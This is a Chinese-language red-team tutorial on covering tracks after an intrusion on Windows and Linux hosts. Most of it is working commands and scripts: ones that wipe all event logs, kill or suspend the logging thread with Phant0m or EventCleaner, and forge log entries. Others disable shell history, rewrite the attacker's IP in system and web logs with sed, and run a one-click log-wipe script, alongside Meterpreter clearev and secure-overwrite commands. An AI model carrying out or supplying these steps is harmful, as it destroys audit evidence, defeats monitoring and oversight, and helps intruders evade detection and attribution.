在攻擊結束后,如何不留痕跡的清除日志和操作記錄,以掩蓋入侵蹤跡,這其實是一個細致的技術活。在藍隊的溯源中,攻擊者的攻擊路徑都將記錄在日志中,所遺留的工具也會被藍隊進行分析,在工具中可以查找特征,紅隊自研工具更容易留下蛛絲馬跡。你所做的每一個操作,都要被抹掉;你所上傳的工具,都應該被安全地刪掉,以防被溯源在演練中失分。
Windows入侵痕跡清理
Windows日志清除
Windows日志路徑:
系統日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
應用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注冊表的鍵:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
常見的安全事件ID:
windows 日志清除方式:
(1)最簡單粗暴的方式
開始→運行,輸入 eventvwr
進入事件查看器,右邊欄選擇清除日志。
或者使用wevtutil
wevtutil el 列出系統中所有日志名稱
for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a" 清除所有日志
wevtutil cl system 清理系統日志
wevtutil cl application 清理應用程序日志
wevtutil cl security 清理安全日志
(2)powershell一鍵清除Windows事件日志
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
或
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
⭐(3)利用腳本停止日志的記錄
通過該腳本遍歷事件日志服務進程(專用svchost.exe)的線程堆棧,並標識事件日志線程以殺死事件日志服務線程。
該腳本沒有殺死進程,而是殺死了線程。因此,雖然事件日志服務似乎在系統中運行(因為沒有終止進程),但它實際上並沒有運行(因為終止了線程)並且系統不收集日志。
項目地址:hlldz/Phant0m: Windows Event Log Killer (github.com)
使用:
執行phant0m之后,嘗試遠程登錄該服務器,並不會記錄日志
⭐(4)Windows單條日志清除
該工具主要用於從Windows事件日志中刪除指定的記錄。同時也可以暫停日志線程,停止日志記錄。
使用步驟:
1、EventCleaner closehandle #解除 security.evtx的文件占坑
2、EventCleaner 100 #刪除 event record id 為 100 的日志
3、EventCleaner suspend #暫停日志線程,停止日志記錄
4、do anything without worrying about logs
5、EventCleaner normal #恢復日志線程
6、delete EventCleaner
(5)Windows日志偽造
使用eventcreate這個命令行工具來偽造日志或者使用自定義的大量垃圾信息覆蓋現有日志。
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
IIS日志
IIS默認日志路徑:
%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
清除WWW日志:
停止服務:net stop w3svc
刪除日志目錄下所有文件:del *.*
啟用服務:net start w3svc
利用Windows自帶命令進行安全擦除
(1)Shift+Delete快捷鍵永久刪除
直接刪除文件,還是能在回收站找到的,使用Shift+Delete快捷鍵可以直接永久刪除了。
可以用數據恢復軟件,刪除的文件盡快恢復,否則新的文件存入覆蓋了原來的文件痕跡就很難恢復了。
(2)Cipher 命令多次覆寫
在刪除文件后,可以利用Cipher 命令通過 /W 參數可反復寫入其他數據覆蓋已刪除文件的硬盤空間,徹底刪除數據防止被恢復。
比如,刪除D:\tools
目錄下的文件,然后執行這條命令:
cipher /w:D:\tools
這樣一來,D 盤上未使用空間就會被覆蓋三次:一次 0x00、一次 0xFF,一次隨機數,所有被刪除的文件就都不可能被恢復了。
(3)Format命令覆蓋格式化
Format 命令加上 /P 參數后,就會把每個扇區先清零,再用隨機數覆蓋。而且可以覆蓋多次。比如:
format D: /P:8
這條命令表示把 D 盤用隨機數覆蓋 8 次。
清除遠程桌面連接記錄
當通過本機遠程連接其他客戶端或服務器后,會在本機存留遠程桌面連接記錄。代碼保存為clear.bat文件,雙擊運行即可自動化清除遠程桌面連接記錄。
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
Metasploit 痕跡清除
(1)查看事件日志
meterpreter > run event_manager -i
[*] Retriving Event Log Configuration
Event Logs on System
====================
Name Retention Maximum Size Records
---- --------- ------------ -------
Application Disabled 20971520K 2149
HardwareEvents Disabled 20971520K 0
Internet Explorer Disabled K 0
Key Management Service Disabled 20971520K 0
Security Disabled 20971520K 1726
System Disabled 20971520K 3555
Windows PowerShell Disabled 15728640K 138
(2)清除事件日志(包括六種日志類型)
meterpreter > run event_manager -c
(3)另外,也可以輸入clearv命令清除目標系統的事件日志(僅包含三種日志類型)
meterpreter > clearev
[*] Wiping 4 records from Application...
[*] Wiping 8 records from System...
[*] Wiping 7 records from Security...
清除recent
在文件資源管理器中點擊“查看”->“選項”->在常規->隱私中點擊”清除”按鈕
或直接打開C:\Users\Administrator\Recent並刪除所有內容
或在命令行中輸入del /f /s /q “%userprofile%\Recent*.*
Linux入侵痕跡清理
( #管理員 $普通用戶 / 表示 根目錄 ~表示當前用戶家目錄)
清除history歷史命令記錄
查看歷史操作命令:
history
history顯示內存和~/.bash_history中的所有內容;
內存中的內容並沒有立刻寫入~/.bash_history,只有當當前shell關閉時才會將內存內容寫入shell
(1)編輯history記錄文件,刪除部分不想被保存的歷史命令。
vim ~/.bash_history
(2)清除當前用戶的history命令記錄⭐
history -c # 刪除內存中的所有命令歷史
history -r # 刪除當前會話歷史記錄
(3)利用vim特性刪除歷史命令
#使用vim打開一個文件vi test.txt# 設置vim不記錄命令,Vim會將命令歷史記錄,保存在viminfo文件中。:set history=0# 用vim的分屏功能打開命令記錄文件.bash_history,編輯文件刪除歷史操作命令:vsp ~/.bash_history# 清楚保存.bash_history文件即可。
(4)在vim中執行自己不想讓別人看到的命令
:set history=0
:!command
⭐不記錄history歷史命令
(1)通過修改配置文件/etc/profile,使系統不再保存命令記錄。
HISTSIZE=0
(2)登錄后執行下面命令,不記錄歷史命令(.bash_history)
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
清除系統日志痕跡
Linux 系統存在多種日志文件,來記錄系統運行過程中產生的日志。
/var/run/utmp 記錄現在登入的用戶,使用w,who,users等命令查看
/var/log/wtmp 記錄用戶所有的登入和登出,使用last命令查看
/var/log/lastlog 記錄每一個用戶最后登入時間,使用lastlog命令查看
/var/log/btmp 記錄所有登錄失敗信息,使用lastb命令查看
/var/log/auth.log 需要身份確認的操作
/var/log/secure 記錄安全相關的日志信息
/var/log/maillog 記錄郵件相關的日志信息
/var/log/message 記錄系統啟動后的信息和錯誤日志
/var/log/cron 記錄定時任務相關的日志信息
/var/log/spooler 記錄UUCP和news設備相關的日志信息
/var/log/boot.log 記錄守護進程啟動和停止相關的日志消息
(1)清空日志文件
以下幾種方式:
cat /dev/null > filename
echo "" > filename
echo > filename
: > filename
> filename
⭐(2)替換/刪除部分日志
日志文件全部被清空,太容易被管理員察覺了,如果只是刪除或替換部分關鍵日志信息,那么就可以完美隱藏攻擊痕跡。
替換:
# 192.168.100.101為攻擊者IP,10.0.0.55為偽造IP,-i編輯文件
sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/btmp*
sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/lastlog
sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/wtmp
sed 's/192.168.100.101/10.0.0.55/g' -i secure
sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/utmp
刪除:
# 刪除所有匹配到字符串的行,比如以當天日期或者自己的登錄ip
sed -i '/自己的ip/'d /var/log/messages
sed -i '/當天日期/'d filename
一鍵清除history和系統日志腳本
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
清除web日志痕跡
web日志同樣可以使用sed進行偽造,例如apache日志、MySQL日志、php日志
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/access.log
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/error_log
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_error.log
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_slow.log
sed 's/192.168.100.101/192.168.1.4/g' –i /var/log/apache/php_error.log
清除部分相關日志:
# 使用grep -v來把我們的相關信息刪除
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改過的日志覆蓋到原日志文件
cat tmp.log > /var/log/nginx/access.log/
參考
https://cloud.tencent.com/developer/article/1698537